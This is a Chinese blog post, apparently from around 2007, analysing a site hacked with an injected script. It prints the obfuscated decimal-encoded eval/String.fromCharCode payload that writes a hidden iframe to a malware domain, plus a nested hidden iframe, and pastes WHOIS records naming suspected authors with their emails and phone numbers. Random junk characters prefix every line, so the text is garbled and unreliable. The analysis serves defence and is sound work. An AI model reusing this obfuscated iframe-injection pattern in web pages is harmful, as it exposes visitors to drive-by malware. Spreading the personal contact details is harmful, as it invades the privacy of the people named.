首发在我的博客里面，
/ ,#&Htk _.$g ?E/( http://www.areway.cn/?p=175 "ku ?A ^f >Y[nU~ w 5nJmabw3 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
XKT2u!Lx L# NW<T <script>t=’60,105,102,114,97,109,101,
X | X~| &j 32,115,114,99,61,104,116,116,112,58,47,47,
lhhp6-r 102,114,101,101,46,117,45,117,117,117,46,99,
$4*k=+wS 110,47,101,114,114,111,114,46,104,116,109,
z9[BQ(9t 32,119,105,100,116,104,61,49,48,48,32,104,
qECta 'b& 101,105,103,104,116,61,48,62,60,47,105,102,
z2.Z xL"* 114,97,109,101,62′;
Na2n 4x! t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
(.54`[2+L 5Rec~&v <script>t=’60,105,102,114,97,109,101,32,115,
&nEQ `3~F 114,99,61,104,116,116,112,58,47,47,102,114,
yu] nK-Y7S 101,101,46,117,45,117,117,117,46,99,110,47,
H@pF3gh 101,114,114,111,114,46,104,116,109,32,119,
+~]LvZt I_ 105,100,116,104,61,49,48,48,32,104,101,105,
} X [wWH 103,104,116,61,48,62,60,47,105,102,114,97,
h$eVhN &Vv 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
oN6 '% document.write(t);</script>
CN F3".a 8q#Be1u<s2 <html xmlns=”
- Ado-'aaS http://www.w3.org/1999/xhtml 8st~ O “>
~g[<A?0=y <head>
8rA?X*|S! <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
.~Z@y # <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
M]$_>&" <title>首页 - 爱生活家庭网
`j yBF pJ 7="n 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
>rb 8 A6 转换字符串后的大概内容是（谁点击后果自付）：
#GT 4/Ej}W <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Jv9yy~ W6[# q%o 查询玉米u-uuu.cn的详细信息：
EzDQoN7Em Domain Name: u-uuu.cn
V[N4 {c ROID: 20070901s10001s64972306-cn
V}UYr Va#9 Domain Status: ok
!K$qh{n Registrant Organization: 王雷
/>\6_kT Registrant Name: 王雷
K<Qy1y~[ Administrative Email:
czlovexs@126.com >*aqYNft Sponsoring Registrar: 北京万网志成科技有限公司
;iMgv5= Name Server:ns.yovole.com
El)WjcmH Name Server:ns1.yovole.com
G*l kVQ6? Registration Date: 2007-09-01 17:54
^|0>&sTHOH Expiration Date: 2008-09-01 17:54
?yqTLj 最后PING了一下地址 都没有什么….
N N;'QiE ]aF!0Fln~ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
79JU <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
YKT =0 <script language=”javascript” src=”
IJt8 *
cw http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script d*{NA q'9X >
V
K)%Us- 这个玉米应该有可能是木马作者的：
l
/\n7: foafau.info的详细信息：
M;Dk$B{;R Access to INFO WHOIS information is provided to assist persons in
HQO z determining the contents of a domain name registration record in the
'6&a8 &: Afilias registry database. The data in this record is provided by
9s}y*Vp Afilias Limited for informational purposes only, and Afilias does not
B Ctm05 guarantee its accuracy. This service is intended only for query-based
8S_v} NUm access. You agree that you will use this data only for lawful purposes
};=44E'7 and that, under no circumstances will you use this data to: (a) allow,
CnA0^JX enable, or otherwise support the transmission by e-mail, telephone, or
) Cm7v@B
facsimile of mass unsolicited, commercial advertising or solicitations
4Cdl^4(LT to entities other than the data recipient’s own existing customers; or
!{,
`h< (b) enable high volume, automated, electronic processes that send
) HN,A z" queries or data to the systems of Registry Operator, a Registrar, or
] oh.w Afilias except as reasonably necessary to register domain names or
xfyUT^ modify existing registrations. All rights reserved. Afilias reserves
TQ\\/e : the right to modify these terms at any time. By submitting this query,
<CnTi S# you agree to abide by this policy.
lZa L=HS#L Domain ID:D22418703-LRMS
sjISVJ? Domain Name:FOAFAU.INFO
xEfz AJ5& Created On:20-Nov-2007 16:05:42 UTC
w0FkK JV Last Updated On:20-Nov-2007 16:05:44 UTC
M >BcYbXf Expiration Date:20-Nov-2008 16:05:42 UTC
}JKK"d}U Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
m"CsJ'\ors Status:CLIENT DELETE PROHIBITED
4pfv?!Oj Status:CLIENT RENEW PROHIBITED
5@xl/ Status:CLIENT TRANSFER PROHIBITED
[Q=NGHB1/ Status:CLIENT UPDATE PROHIBITED
K !MI A Status:TRANSFER PROHIBITED
MSw:Ay [9 Registrant ID:GODA-040110615
i $ :\, Registrant Name:liu hong
X( H-U
q*( Registrant Organization:
g^dPAjPQ Registrant Street1:beijing
sZ!/uN!6 Registrant Street2:
$ stB B Registrant Street3:
hn bF}AD Registrant City:beijing
J^R# Registrant State/Province:
L,B# % t Registrant Postal Code:100000
gADEjr*H Registrant Country:CN
R} #6 Registrant Phone:+86.860108888777
c5t],P Registrant Phone Ext.:
>pV|c\ Registrant FAX:
`zJTVi4 Registrant FAX Ext.:
oL2 a:\7 Registrant Email:bbbshiji@163.com
'&.QW$B\B_ Admin ID:GODA-240110615
s$s]D\N Admin Name:liu hong
e viv, Admin Organization:
!}gC0dJ Admin Street1:beijing
rg^ Admin Street2:
B.-1wZl Admin Street3:
d fmxz7V Admin City:beijing
P{-f./(JD Admin State/Province:
FB-_a Admin Postal Code:100000
7Q>*] Admin Country:CN
)Bq~1M 2 Admin Phone:+86.860108888777
smM*HDK Admin Phone Ext.:
Y^Olcz Admin FAX:
w/`I2uYu Admin FAX Ext.:
uNV\_'9>Y Admin Email:bbbshiji@163.com
p+;[i%` Billing ID:GODA-340110615
z&6TdwhV Billing Name:liu hong
=h4*
^NJ Billing Organization:
l$_Yl&!q$ Billing Street1:beijing
BWbM$@'x Billing Street2:
w lM"Zt Billing Street3:
nM)q;9-ni Billing City:beijing
_FET$$>z N Billing State/Province:
-|l^- Qf! Billing Postal Code:100000
Q[+o\{ O Billing Country:CN
x-:a5Kz! Billing Phone:+86.860108888777
) Dz bJ} Billing Phone Ext.:
, c%>M^d Billing FAX:
(>E 70|T Billing FAX Ext.:
=psX2?%L Billing Email:bbbshiji@163.com
Zljj Tech ID:GODA-140110615
`nxm<~-\ Tech Name:liu hong
kAEm#oz=g Tech Organization:
xt%-<%s %f Tech Street1:beijing
4EO,9#0 Tech Street2:
T-:
@p> Tech Street3:
YmS}*>oz Tech City:beijing
1HF=,K+ Tech State/Province:
g?'4G$M Tech Postal Code:100000
$LLy#h?V] Tech Country:CN
>^8=_i ! Tech Phone:+86.860108888777
=c-,uW11[ Tech Phone Ext.:
MMMuT^X Tech FAX:
<3wfY
#;>< Tech FAX Ext.:
i U^tv_1 Tech Email:bbbshiji@163.com
5s >UM@}) Name Server:NS27.DOMAINCONTROL.COM
[ ET03 nZ Name Server:NS28.DOMAINCONTROL.COM
J~6-}z Name Server:
>&| C
E 2' Name Server:
[,Io!O Name Server:
MVGznf? Name Server:
uIG,2 u, Name Server:
rI\G&OqpP Name Server:
wgK:^D P Name Server:
6w
d0" Name Server:
!z
!R)6 Name Server:
Sc!{
o!9\ Name Server:
:< Name Server:
;'.[h*u~< 0u]!C"VX 接着下载每个文件里面的代码：
Xgge_`T9 一步一步看..
] Fx9!S 
1]L 0r 
C0xj M0 
io[$QTY 
t,*hxzD" 
jX BAo 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
